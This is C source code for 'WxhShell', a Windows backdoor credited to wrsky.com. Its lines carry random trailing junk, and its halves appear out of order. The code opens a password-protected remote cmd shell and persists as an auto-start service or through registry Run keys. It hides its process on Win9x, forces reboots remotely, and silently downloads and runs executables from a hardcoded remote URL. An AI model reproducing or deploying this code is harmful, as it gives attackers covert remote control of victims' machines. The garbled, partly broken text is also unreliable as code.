    if(Boot(SHUTDOWN)) c1f6RCu$b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {z7{ta  
    else { }9JPSl28Jr  
    closesocket(wsh); Phczf  
    ExitThread(0); -$r fu  
    } g  YZgo  
    break; jdzV&  
    } 8~bPoWP  
  // 获取shell HD>{UU?  
  case 's': { ?bEYvHAzg  
    CmdShell(wsh); OkM>  
    closesocket(wsh); YZ}gZQ.A0  
    ExitThread(0); Lv"83$^S9  
    break; !}%giF$-  
  } {+ m)*3~w  
  // 退出 H0S7k`.  
  case 'x': { )]}*oO  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); l40$}!!<  
    CloseIt(wsh); GZ%R fKyQ  
    break; n\ZFPXP  
    } !dGgLU_  
  // 离开 CfAqMH*ip  
  case 'q': { W*)>Tr)o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); OCd[P1Y]  
    closesocket(wsh); ,/KHKLY7  
    WSACleanup(); 4xlsdq8`t  
    exit(1); LZeR .8XM>  
    break; $KiA~l  
        } P>H'od  
  } Zqao4  
  } 1)%o:Xy o  
I%ez_VG  
  // 提示信息 ]KfHuYjM  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vq*p?cF .  
} ZE :oK   
  } k`?n("j  
1F=x~FMvY  
  return; }>j$Wr_h  
} @=9QV3D  
f; 22viE  
// shell模块句柄 m?csake.Me  
int CmdShell(SOCKET sock) jj^CW"IB  
{ 0I.7I#'3O  
STARTUPINFO si; -0W;b"]+A  
ZeroMemory(&si,sizeof(si)); Jlzhn#5c-  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y.>r>o"0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6PTD%Rf\  
PROCESS_INFORMATION ProcessInfo; 0$UE|yDs>  
char cmdline[]="cmd"; IE|$>q0Z  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 55#H A?cR  
  return 0; old}}>_  
} ;xb:{?  
4g6d6~098;  
// 自身启动模式 F`3I~(  
int StartFromService(void) WUHijHo5(8  
{ E;+3VJ+F"  
typedef struct O|8p #  
{ `=FfzL  
  DWORD ExitStatus; GI/g@RV  
  DWORD PebBaseAddress; l{;vD=D  
  DWORD AffinityMask; 1X=}  
  DWORD BasePriority; zW\&q!`IRP  
  ULONG UniqueProcessId; M*t{?o/t;  
  ULONG InheritedFromUniqueProcessId; wp} PQw:  
}   PROCESS_BASIC_INFORMATION; pN?  
oJ5V^.  
PROCNTQSIP NtQueryInformationProcess; !"_\5$5i<X  
)4DF9JpD  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; JD,/oL.KA  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; C EAwQH  
]m YY1%H8M  
  HANDLE             hProcess; n&&X{Rl  
  PROCESS_BASIC_INFORMATION pbi; ]81P<Y(7  
|E|d"_Ma  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); zU]95I  
  if(NULL == hInst ) return 0; ?&"-y)FG  
u>d,6 !  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^hLAMaR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yyG:Kl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rtC.!].;%  
tK0?9M.)  
  if (!NtQueryInformationProcess) return 0; [$f  
r6JdF!\d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <$/'iRtRzW  
  if(!hProcess) return 0; j#zUO&Q@  
$fL2w^ @  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; a|{RK}|3  
qE!.C}L +  
  CloseHandle(hProcess); @LqLtr@A  
?u/RQ 1  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |]*]k`o<)  
if(hProcess==NULL) return 0; XhhV 7J_F  
>+LFu?y  
HMODULE hMod; 73 ix4C  
char procName[255]; ET.c8K1f  
unsigned long cbNeeded; t&*X~(Yb!  
cA m>f[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); \c(R#*0,  
H}Z\r2  
  CloseHandle(hProcess); ^Q0%_V,  
G AI( =  
if(strstr(procName,"services")) return 1; // 以服务启动 kLtm_  
-C1,$mkj  
  return 0; // 注册表启动 AU0pJB'  
} @|BaZq,g  
bVO{,P2 o  
// 主模块 ^}8qPBz  
int StartWxhshell(LPSTR lpCmdLine) ^--kcTiR%  
{ <#HQU<  
  SOCKET wsl; Hwiw:lPq`E  
BOOL val=TRUE; mqUn3F3  
  int port=0; Okxuhzn>"  
  struct sockaddr_in door; v!~tX*q  
(]ToBju  
  if(wscfg.ws_autoins) Install(); QmxI ;l  
M5\$+Tu  
port=atoi(lpCmdLine); oU"!"t  
#s% _ L  
if(port<=0) port=wscfg.ws_port; ^6g^ Q*"  
+ xYU$e6Z  
  WSADATA data; 0K T^V R  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; X3mHg5zt  
(+aU,EQ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,r_%p<lOFu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Q>d<4]`  
  door.sin_family = AF_INET; /hF@Xh%hY  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); rD_\NgVAs  
  door.sin_port = htons(port); :}0>IPW-V  
}o,-@R~  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { F .h A.E  
closesocket(wsl); ?2q4dx 0  
return 1; W!jg  
} e)BU6m%  
ngLpiU0H&  
  if(listen(wsl,2) == INVALID_SOCKET) { ^ L?2y/  
closesocket(wsl); H6/n  
return 1; Q  h~  
} , ;$SRQ.  
  Wxhshell(wsl); |X47&Y  
  WSACleanup(); K6Z/  
4"^v]&I  
return 0; !FA[ ]d4  
$Cnv]1%  
} ]L6[ vJHx  
)`5=6i  
// 以NT服务方式启动 g>*P}r~;^b  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /< -+*79G  
{ bDtb"V8e  
DWORD   status = 0; 2'U+QK@  
  DWORD   specificError = 0xfffffff; +wIv|zj9  
R1?LB"aN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^~` t q+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S; Fj9\2)I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; H: rrY  
  serviceStatus.dwWin32ExitCode     = 0; tRYi q  
  serviceStatus.dwServiceSpecificExitCode = 0; <wTD}.n  
  serviceStatus.dwCheckPoint       = 0; ~0V,B1a  
  serviceStatus.dwWaitHint       = 0; jI!WE$dt  
8~|tl,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); $s<bKju  
  if (hServiceStatusHandle==0) return; *\#?)q  
} m&La4E  
status = GetLastError(); }@TtX\7(D  
  if (status!=NO_ERROR) C ^ 1;r9  
{ k)TNmpL%"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; p<8Ga.kiN  
    serviceStatus.dwCheckPoint       = 0; ^oXLk&d  
    serviceStatus.dwWaitHint       = 0; snvixbN  
    serviceStatus.dwWin32ExitCode     = status; chszP{-@X  
    serviceStatus.dwServiceSpecificExitCode = specificError; s)5W:`MH?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _ipY;  
    return; v%8S:3  
  } wPQRm[O|  
&BE'~G  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !g7bkA  
  serviceStatus.dwCheckPoint       = 0; zC|y"PTw  
  serviceStatus.dwWaitHint       = 0; !cA4erBP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EL:Az~]V  
} vN$j @h .  
v~KgCLo  
// 处理NT服务事件,比如:启动、停止 l g43  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V[fcP;   
{ V)3S.*]  
switch(fdwControl) ;To][J  
{ ~O~R,h>  
case SERVICE_CONTROL_STOP: o}6d[G>  
  serviceStatus.dwWin32ExitCode = 0; j7v?NY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; f{ER]U  
  serviceStatus.dwCheckPoint   = 0; ~]C m  
  serviceStatus.dwWaitHint     = 0; H-'~c \)  
  { >?)Df(n(9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R^=[D#*]>  
  } CSNfLGA  
  return; +kZW:t!-  
case SERVICE_CONTROL_PAUSE: #7"*Pxb#A  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; /8"9 sf *  
  break; sFa5#w*>  
case SERVICE_CONTROL_CONTINUE: m\;@~o'k  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Qv/Kbw N{  
  break; nEbJ,#>Z  
case SERVICE_CONTROL_INTERROGATE: p}9bZKyf  
  break; 6U[bAp  
}; m j@{hGP  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); .vk|aIG  
} =.yKl*WV{  
V>:ubl8j0l  
// 标准应用程序主函数 5@< D6>6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1@ .Eh8y  
{ J)"g`)\2+  
\A=:6R%Qb  
// 获取操作系统版本 uwhb-.w  
OsIsNt=GetOsVer(); iES?}K/q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); a[A9(Ftn  
HL34pmc  
  // 从命令行安装  g1B[RSWv  
  if(strpbrk(lpCmdLine,"iI")) Install();  b@m\ca  
?R8wmE[w  
  // 下载执行文件 e9@7GaL`"S  
if(wscfg.ws_downexe) { ?/ Cl  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D0HLU ~o  
  WinExec(wscfg.ws_filenam,SW_HIDE); B?p18u$i#l  
} }J-+^  
c037#&Q%#  
if(!OsIsNt) { i_kKE+Q  
// 如果时win9x,隐藏进程并且设置为注册表启动 TX7]$Wj  
HideProc(); j& ~`wGM  
StartWxhshell(lpCmdLine); M^3pJ=;5  
} Mz#<Vm4  
else }vspjplk^  
  if(StartFromService()) *eb2()B%  
  // 以服务方式启动 w] =q>p  
  StartServiceCtrlDispatcher(DispatchTable); LCf)b>C*  
else K>x+*UPL  
  // 普通方式启动 8,m3]Lg  
  StartWxhshell(lpCmdLine); j!;y!g  
TqN4OkCm/  
return 0; TE!+G\@  
} Fy8$'oc  
;R x Rap  
gvl3NQQ%t  
H@%Y"iIUP  
=========================================== "x P2GZ  
F:B 8J4/  
D8S3YdJ  
SV}C]<  
,2C{X+t  
cEc_S42Z  
" 7Fd`M To  
dW`!/OaQD  
#include <stdio.h> Sl7x>=  
#include <string.h> UBZ37P  
#include <windows.h>  5gZ6H/.  
#include <winsock2.h> M1 5_  
#include <winsvc.h> HZDeQx`*s  
#include <urlmon.h> yy*8Aw}  
1O{(9nNj  
#pragma comment (lib, "Ws2_32.lib") >ukn<  
#pragma comment (lib, "urlmon.lib") XVwJr""+  
lNwqWOWy  
#define MAX_USER   100 // 最大客户端连接数 ;)'@kzi  
#define BUF_SOCK   200 // sock buffer 2b i:Q9  
#define KEY_BUFF   255 // 输入 buffer N9}27T+4  
*\!>22*  
#define REBOOT     0   // 重启 9N@m><N84  
#define SHUTDOWN   1   // 关机 f2f2&|7  
)4tOTi[  
#define DEF_PORT   5000 // 监听端口 HkL`- c0  
|3{"ANmm'  
#define REG_LEN     16   // 注册表键长度 N R0"yJV>  
#define SVC_LEN     80   // NT服务名长度 TEN~3 Ef#  
LjEG1$F>  
// 从dll定义API {IgL H`@  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ]I<w;.z  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `Hp=1a  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m*f"Y"B.1I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Zk:_Yiki&  
>f*-9  
// wxhshell配置信息 \0,8?S  
struct WSCFG { ][TA7pDPV  
  int ws_port;         // 监听端口 epm ~  
  char ws_passstr[REG_LEN]; // 口令 uy'qIq  
  int ws_autoins;       // 安装标记, 1=yes 0=no pAtt=R,Ht  
  char ws_regname[REG_LEN]; // 注册表键名 zc.r&(d  
  char ws_svcname[REG_LEN]; // 服务名 Xf%vfAf  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >*]dB|2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )zv"<>Q 6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?[#4WH-G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \f-@L;8#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uGU-MC *  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z/e^G f#i  
[U@ ;EeS  
}; H g04pZupN  
vtw97G  
// default Wxhshell configuration @ *&`1  
struct WSCFG wscfg={DEF_PORT, P/,ezVb=  
    "xuhuanlingzhe", u-u:7VtH0=  
    1, 9WT{~PGj  
    "Wxhshell", OIY  
    "Wxhshell", /:ju/ ~R}  
            "WxhShell Service", 4Dw| I${O  
    "Wrsky Windows CmdShell Service", sp7#e%R\  
    "Please Input Your Password: ", #:E^($v  
  1, =6d'/D#J  
  "http://www.wrsky.com/wxhshell.exe", PnJA'@x  
  "Wxhshell.exe" f3SAK!V+s  
    }; 1B`JvNtd  
BmFtRbR  
// 消息定义模块 nn8uFISb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; IN=l|Q$8f  
char *msg_ws_prompt="\n\r? for help\n\r#>"; :v%iF!+.P  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; V;(Rg=5  
char *msg_ws_ext="\n\rExit."; 9Idgib&  
char *msg_ws_end="\n\rQuit."; >a)6GZ@  
char *msg_ws_boot="\n\rReboot..."; 0IxHB|^$  
char *msg_ws_poff="\n\rShutdown..."; 1>)uI@?Rb  
char *msg_ws_down="\n\rSave to "; $%z M Z  
B&sa|'0U  
char *msg_ws_err="\n\rErr!"; NC%)SG \  
char *msg_ws_ok="\n\rOK!"; h{CMPJjD  
N6h.zl&04  
char ExeFile[MAX_PATH]; Qy\K oo  
int nUser = 0; )%bY2 pk  
HANDLE handles[MAX_USER]; n:[LsbTk  
int OsIsNt; mU;\,96#  
$*;ke5Dm4  
SERVICE_STATUS       serviceStatus; 5[A4K%EL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `_E@cZ4  
XB+Juk&d  
// 函数声明 y2@8?  
int Install(void); {3G2-$yb  
int Uninstall(void); _j?/O)M c  
int DownloadFile(char *sURL, SOCKET wsh); N  Bpf  
int Boot(int flag); p} i5z_tS  
void HideProc(void); =Cp}iM  
int GetOsVer(void); ' 4 Kf  
int Wxhshell(SOCKET wsl); $-lP"m@}  
void TalkWithClient(void *cs); qj<_*  
int CmdShell(SOCKET sock); d1/uI^8>  
int StartFromService(void); uDG#L6  
int StartWxhshell(LPSTR lpCmdLine); T^.W'  
vY(xH>Fd  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2w67 >w\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); $jNp-5+Q;  
ZH=oQV)6  
// 数据结构和表定义 Q~G>=J9  
SERVICE_TABLE_ENTRY DispatchTable[] = nnBl:p>< k  
{ pax;#*QcQ  
{wscfg.ws_svcname, NTServiceMain}, 9 e0Oj3!B  
{NULL, NULL} }|4dEao\  
}; wEJ?Y8  
y w>T1  
// 自我安装 /WE1afe_R  
int Install(void) ;c;PNihg  
{ PH3#\ v.   
  char svExeFile[MAX_PATH]; mqb6MnK -  
  HKEY key; :{KoZd  
  strcpy(svExeFile,ExeFile); )gP0+W!u  
4O** %!|  
// 如果是win9x系统,修改注册表设为自启动 }dO^q-t$3  
if(!OsIsNt) { 7!-y72qx  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ZdY)&LJ  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G!3d!$t  
  RegCloseKey(key); iLD:}yK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %{ToWLb{I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dS m; e_s  
  RegCloseKey(key); ]:vo"{*C  
  return 0; enJgk(  
    } 1C' _I  
  } +nT(>RJR  
} ^E(:nxQ6s  
else { (5(TbyWwD  
~i y]X:U  
// 如果是NT以上系统,安装为系统服务 2[qlEtvQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); *eonXJYD  
if (schSCManager!=0) 8Cw+<A*  
{ }{.0mu9  
  SC_HANDLE schService = CreateService p 3*y8g-  
  ( &?xZ Hr`  
  schSCManager, j6_tFJT  
  wscfg.ws_svcname, a{FCg%vD)  
  wscfg.ws_svcdisp, 1||\3L/  
  SERVICE_ALL_ACCESS, ckTk2xPQ  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c_#+xGS!7  
  SERVICE_AUTO_START, yhpeP  
  SERVICE_ERROR_NORMAL, -x?I6>{  
  svExeFile, k6?;D_dm  
  NULL, 3pF7} P  
  NULL, #{BHH;J+  
  NULL, O<o>/HH$  
  NULL, OmR) W'  
  NULL q&RezHK l  
  ); Z/f%$~Ch  
  if (schService!=0) o'SZ sG  
  { ' M'k$G@Z  
  CloseServiceHandle(schService); Z=&cBv4Fs  
  CloseServiceHandle(schSCManager); t0*,%ge:<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +-*Ww5Zti  
  strcat(svExeFile,wscfg.ws_svcname); 4fyds< f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { G)G 257K"~  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Glw_<ag[  
  RegCloseKey(key); ._i|+[  
  return 0; 7B)m/%>3s  
    } fZ5zsm'N  
  } .*Mp+Q}^  
  CloseServiceHandle(schSCManager); <Cbi5DtR  
}  h/*q +H  
} N a $eeM  
1XpG7  
return 1; ;[-TsX:  
} S<Os\/*  
aJ/}ID  
// 自我卸载 Z)^1~!w0  
int Uninstall(void) PptVneujI  
{ LGdM40  
  HKEY key; 2t,N9@u=UN  
Kt#_Ln_6  
if(!OsIsNt) { U5RLM_a@M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d2a*xDkv  
  RegDeleteValue(key,wscfg.ws_regname); YEPQ/Pc  
  RegCloseKey(key); ?`lD|~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D>fg  
  RegDeleteValue(key,wscfg.ws_regname); 5(=5GkE)>  
  RegCloseKey(key); Ls` [7w  
  return 0; CBr(a'3{Z  
  } xWnOOE$i  
} "P9(k>  
} 1.tAl6]  
else { 8g0VTY4$jP  
Gl"|t't(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ve]hE}o/}  
if (schSCManager!=0) (QTF+~)  
{ `FGYc  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )Yu  
  if (schService!=0) >t_h/:JZ)  
  { ?o6X_UxW!  
  if(DeleteService(schService)!=0) { @jxP3:s  
  CloseServiceHandle(schService); "g,`Ks ];  
  CloseServiceHandle(schSCManager); )_YB8jUR-X  
  return 0; M$48}q+  
  } @-ml=S7;Sz  
  CloseServiceHandle(schService); u4h0s1iI  
  } 6CCm1F{`  
  CloseServiceHandle(schSCManager); 16ZyLt  
} BsU}HuQZQ  
} njc-=o  
*`q?`#1&&.  
return 1; Sv_Nb>  
} <2E|URo,#  
!Ii[`H  
// 从指定url下载文件 [j}JCmWY   
int DownloadFile(char *sURL, SOCKET wsh) z2>LjM) #  
{ %.m+6 zaF  
  HRESULT hr; $g^D1zkuDT  
char seps[]= "/"; a%A!Dz S  
char *token; &+n9T?+b  
char *file; 6`@b@Kd  
char myURL[MAX_PATH]; jsQHg2Vd  
char myFILE[MAX_PATH]; O%3Hp.|!  
W6Mq:?+D  
strcpy(myURL,sURL); y^"@$   
  token=strtok(myURL,seps); Y hQ)M5  
  while(token!=NULL) 8qqN0"{,  
  { ?!K6")SE  
    file=token; 1~'jC8&J  
  token=strtok(NULL,seps); LFI#wGhXVk  
  } 6Cz O ztn  
o K>(yC[  
GetCurrentDirectory(MAX_PATH,myFILE); `sCn4-$8  
strcat(myFILE, "\\"); ^$5 0[  
strcat(myFILE, file); LQHL4jRXU  
  send(wsh,myFILE,strlen(myFILE),0); NJ)Dw`|%|)  
send(wsh,"...",3,0); xZP*%yM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); f-G)pHm  
  if(hr==S_OK) qXg&E}]:=  
return 0; ni&|;"Nt-  
else HeO:=OE~>  
return 1; %rMCiz  
_0jR({\  
} PR Mg6  
ov,|`FdU^T  
// 系统电源模块 {$,\Qg  
int Boot(int flag) a8f#q]TyQ  
{ QJ3#~GYNr  
  HANDLE hToken; P{-- R\  
  TOKEN_PRIVILEGES tkp; f4h~c  
4%^z=%  
  if(OsIsNt) { *^uK=CH1?(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~<?Zj  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); I@MG ?ZQ  
    tkp.PrivilegeCount = 1; *qwN9b/!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >!t3~q1Cn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  d 2d-Mk  
if(flag==REBOOT) { N<9 c/V  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) zak\%yY`  
  return 0; z_!IA ] v  
} >jX "  
else { p L"{Uqi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :QGkYJ  
  return 0; 6u0>3-[6OD  
} Jt=- >  
  } XI\Slq  
  else { 5rows]EJJl  
if(flag==REBOOT) { Nvgi&iBh8  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hSm?Z!+  
  return 0; ]SCHni_  
} 2iG+Ek-?"  
else { uu.X>agg  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a+E 8s7C/D  
  return 0; lo$G*LWu:  
} J8emz8J  
} o8R_ Ojh  
9;+&}:IVS  
return 1; VcrMlcnO  
} ,)1C"'  
q[\3,Y  
// win9x进程隐藏模块 I?'*vAW<  
void HideProc(void) MJ JC6:  
{ Pvc)-A  
C}h(WOcr`X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5-X$"Z|@  
  if ( hKernel != NULL ) K=N&kda   
  { rRRh-%.RU  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); IU8zidn&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v6 U!(x  
    FreeLibrary(hKernel); ?{ )'O+s  
  } n+8YTjd  
=`3r'c  
return; lwQ!sH[M  
} Z?+ )ox  
j\>&]0-Iq  
// 获取操作系统版本 Xex7Lr&  
int GetOsVer(void) [)I^v3]U  
{ > SZ95@Oh  
  OSVERSIONINFO winfo; PB^rniYh  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6|EOB~|  
  GetVersionEx(&winfo); >V^8<^?G  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) u.2X "  
  return 1; (d &" @  
  else "q?(rx;  
  return 0; X?haHM#]  
} Qr R+3kxM  
"Erphn  
// 客户端句柄模块 bSIY|/d+  
int Wxhshell(SOCKET wsl) ":eyf 3M  
{ &- p(3$jn7  
  SOCKET wsh; s>DFAu!  
  struct sockaddr_in client; Ov(k:"N  
  DWORD myID; 4m\Cc_:jO  
L[zTT\a  
  while(nUser<MAX_USER) ;ab[YMkH  
{ |}77'w :  
  int nSize=sizeof(client); .B^ tEBGVD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); GNW$:=0u  
  if(wsh==INVALID_SOCKET) return 1; e[fld,s  
):Fg {7b]n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t]sk[  
if(handles[nUser]==0) !v3d:n\W8  
  closesocket(wsh); CM~x1f*v  
else =>S[Dh  
  nUser++; &4wSX{c/P  
  } VKPsg  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); xRZ K&vkKE  
[Qr_0O  
  return 0; ~p+ `pwjY1  
} |xb;#ruR6  
h9d*N9!;M  
// 关闭 socket nVpDjUpN  
void CloseIt(SOCKET wsh) t^bh2 $J  
{ *k\ ;G?  
closesocket(wsh); rXSw@pqZ&  
nUser--; r{~b4~kAf5  
ExitThread(0); )3F}IgD  
} 7LaRFL.,kO  
XcbEh  
// 客户端请求句柄 (;Bh7Ft  
void TalkWithClient(void *cs) ;Zf7|i`R3  
{ #m{F*(%  
fG?a"6~  
  SOCKET wsh=(SOCKET)cs; 55b/giX  
  char pwd[SVC_LEN]; }V/iU_)  
  char cmd[KEY_BUFF]; %f\j)qw  
char chr[1]; [+@T"2h2b  
int i,j; njNqUo>  
=BD |uIR  
  while (nUser < MAX_USER) { [IyC}lSW^-  
O*F= xG  
if(wscfg.ws_passstr) { )eX{a/Be  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cNKGEm ;z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); U[pR `u  
  //ZeroMemory(pwd,KEY_BUFF); iYW<qgz  
      i=0; Tv,ZS   
  while(i<SVC_LEN) { tI0D{Xrc  
V2yX;u  
  // 设置超时 6m:$RW  
  fd_set FdRead; on7? V<  
  struct timeval TimeOut; &`'@}o>2  
  FD_ZERO(&FdRead); e=!sMWx6  
  FD_SET(wsh,&FdRead); "?_ af  
  TimeOut.tv_sec=8; ?5[$d{ Gjl  
  TimeOut.tv_usec=0; 5o^\jTEl^  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^= kr`5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |41~U\  
'O 7>w%#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); y?iW^>|?L=  
  pwd=chr[0]; f?QP(+M5.  
  if(chr[0]==0xd || chr[0]==0xa) { Rx@0EPV  
  pwd=0; 7 $dibTER  
  break; ayg^js2,  
  } 2H1?f|0>  
  i++; <`BDN  
    } k]c$SzJ>/  
'kJyE9*xU.  
  // 如果是非法用户,关闭 socket I#(?xHx  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); , 9buI='  
} h.xtkD)Y~  
,y)V5 c1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F~GIfJU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S<I9`k G  
d263#R  
while(1) { P(p|NRD@1  
+[V.yY/t|>  
  ZeroMemory(cmd,KEY_BUFF); "i%=QON`  
Vzh\ 1cF  
      // 自动支持客户端 telnet标准   dFk$rr>q  
  j=0; F>k/;@d  
  while(j<KEY_BUFF) { 4SIS #m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ;(Z9.  
  cmd[j]=chr[0]; -{p~sRc&  
  if(chr[0]==0xa || chr[0]==0xd) { rL/H{.@$`  
  cmd[j]=0; i@ehD@.dH  
  break; SM.KM_%K  
  } P\$%p-G  
  j++; _"#n%@  
    } M ~6 $kT  
r_Pi)MPc  
  // 下载文件 G9~ 4?v6:  
  if(strstr(cmd,"http://")) { gq.l=xS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4@9xq<<5  
  if(DownloadFile(cmd,wsh)) &Y 2Dft_K  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #?DoP]1Y  
  else ]4,eCT  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); d M;v39  
  } YLb$/6gj6  
  else { +?6@%mW'  
